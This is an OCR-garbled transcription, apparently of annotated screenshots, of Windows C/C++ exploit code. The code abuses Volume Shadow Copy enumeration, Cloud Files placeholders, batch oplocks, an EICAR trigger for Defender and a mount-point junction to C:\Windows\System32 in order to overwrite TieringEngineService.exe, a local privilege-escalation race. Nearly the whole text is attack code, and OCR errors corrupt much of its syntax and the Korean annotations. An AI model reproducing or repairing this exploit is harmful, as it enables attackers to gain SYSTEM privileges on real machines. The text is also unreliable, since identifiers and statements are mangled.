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ry(L"ntdll.d11");
leHandle(L"ntdll.dll"’
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if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) {
const wchar_t* prefix = L"HarddiskVolumeShadowCopy";

Device O}2f &= & 0|S0|
HarddiskVolumeShadowCopy 2 A|&st= EK|

if (wcsncmp(objdirinfo[i].Name.Buffer, prefix, wcslen(prefix))
(*vscnumber )++

}
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1 lpath[MAX_PATH] =
cscpy(malpath, newvsspath);
wcscat(malpath, &foo[2]);
UNICODE_STRING _malpath = { 0 };
RtlLInttUnicodeString(&_malpath, malpath);
OBJECT_ATTRIBUTES objattr2 = { 0 }:
[nitializeObjectAttributes(&objattr2, & _malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
[0_STATUS_BLOCK 1iostat { 0 };
HANDLE hlk = NULL;
reti Y.
stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &ilostat, NULL,
FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL);
t1f (stat == STATUS_NO_SUCH_DEVICE)
goto retry;
1f (stat)
{
printf(“Failed to open file, error : 0x%0.8X\n", stat);

return 1;
}

printf(“"testl success\n");

OVERLAPPED ovd = { 0 };
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL):

DeviceloControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

1f (GetLastError() != ERROR_IO_PENDING)
{
printf("Failed to request a batch oplock on the update file, error : %d",
GetLastError()):
return 0;

DWORD nbytes 0:

SetEvent| gevent ) -

ResetEvent [ geven

GetOverlappedResul

WaltForSingleObject(gevent, INFINITE);
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HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy,
CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

if (hs)

{

F}_rtnt_fF"Failed to register syncroot, hr = Ox%0.8X\n", hs); (4 *.I
| e Cloud Files placeholder #+3

CF_CALLBACK_REGISTRATION callbackreg[l];

callbackreg[@] = { CF_CALLBACK_TYPE_NONE, NULL };

void* callbackctx NULL;

CF_CONNECTION_KEY cfkey = { 0 };

hs CfConnectSyncRoot(syncroot, callbackreg, callbackctx,

CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); Cloud F|IeS placehOIderE ]Il'

i1f (hs)

{ X7t AES 719 2o
printf("“Failed to connect to syncroot, hr = 0x%0.8X\n", hs); 7 o= 77 T _CI>_

return;
}
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SYSTEMTIME systime = { 0 }; Defenderjl- ]Il-OE| =

FILETIME filetime = { 0 };
GetSystemTime(&systime); E*I--I— 7_| 0 I_ — 7 o
SystemTimeToFileTime(&systime, &filetime); — O = T

FILE_BASIC_INFO filebasicinfo = { 0 };
filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL:
CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} };
CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
placeholder[0@].RelativeFileName = filename;
placeholder[0].FsMetadata = fsmetadata;

GUID L,;[_(_j _ { @ }; EFHE B ANFY A4 Tz M Shadow Copy?t 47| @21 317] M vSS Pl S8 Iy H=§ ther)
wchar_t wuid[100] {0 };
CoCreateGuid(&uid);
StringFromGUID2(uid, wuid, 100); 5 o ] Cloud Files placehaider 1Tl ¢ o mpe 7|E =ip] CldE(2|E Yojd =
placeholder[@].FileIdentity = wuid; oplockE & FEE T SR e ; e
placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t);
placeholder[0].Flags CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE |

CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC; e ) ‘ . R
DWORD processedentries = 0; 7
hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR,

&processedentries);
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wchar_t workdir[MAX_PATH] { 0 }:
ExpandEnvironmentStrings(L"STEMP%\\RS-", workdir, MAX_PATH);

f 00 [ "| X ["f.\..] 'i ] '
f(foo, L"%ws\\%ws", workdir, filename);

W 1t , wuid);

wchar_t filename]| ] L"TieringEngineService.exe"
t
|

HANDLE hthread CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE )ShadowCopyFinderThread,

(!CreateDirectory(workdir, NULL))

printf("Failed to create workdir"

Defender7} H

NULL, CREATE_ALWAYS, FILE ATTRIBUTE_NORMAL, NULL);

char eicar|] "*H+H$ ' ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7 )CC7 )"P(45XZP\\4[PA@%P ! 05X" ;
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FILE SHARE DELETE, NULL, OPEN_EXISTING, FILE ATTRIBUTE NORMAL, NULL):
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[0_STATUS_BLOCK iostat { 0 };
FILE DISPOSITION INI ATION EX fdiex { Ox00000001 Ox00000002 }:
chttln‘uertLUwFilui“‘llw, &lostat, &fdiex, sizeof(fdiex), (FILE INFORMATION CLASS)64):
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17 (stat)
)
-{L
printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat);
1

DeviceloControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
1f (GetLastError() != ERROR_IO PENDING)

printf("Failed to request a batch oplock on the update file, error : %d",
asteError());

l
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HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
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L*\\N?27\\%s.TMP",

("Failed to re-create directory.\n");

Failed to re-open spoof work file, error

Failed to request a batch oplock on the update file, error
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wchar_t rptarget[] { L"\\?7\\C:\\Windows\\System32" };
— . ¥, Al ( -]-‘"'{|:T:1|"_|'T,‘-| " J:

DWORD pathbuffers: targetsz + printnamesz + 12:

DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH:

REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_ BUFFER* )HeapAlloc(GetProcessHeap( ),
HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);:

rdb->ReparseTag = I0_REPARSE_TAG_MOUNT_POINT;

FdboReserved - NoLLy o R paRTerse TOCTOUOA %|E ZHM[= 1

3uffer.SubstituteNameOffset NULL;
uffer.SubstituteNameLength = static_cast<USHORT>(targetsz)
Buffer.PathBuffer, rptarget, targetsz + 2);:
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HANDLE htimel CreateWaitableTimer(NULL, FALSE, NULL);
LARGE INTEGER duetime { 0 }:
GetSystemTimeAsFileTime( (LPFILETIME )&duetime):

ULARGE INTEGER duetimi { duetime.LowPart, duetime.HighPart }:
juetime.QuadPart += O0x2FAF080:

duetime.QuadPart duetime.QuadPart;

CloseHandle(hfile):

i

for (int 1 0: 1 < 1000: i++)
{

wchar_t malpath][] { L"\\?2\\C:\\Windows\\System32\\TieringEngineService.exe" };

UNICODE_STRING _malpath { 0 };

RtlInttUnicodeString(&_malpath, malpath);

OBJECT_ATTRIBUTES objattr2 { 0 };

[nitializeObjectAttributes(&objattr2, & _malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);

[0 STATUS_BLOCK iostat { 0 }:

stat NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &ilostat, NULL, NULL, FILE_SHARE_READ
FILE_SHARE_WRITI FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);
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printf("Something went wrong.\n");

return 1 .

}
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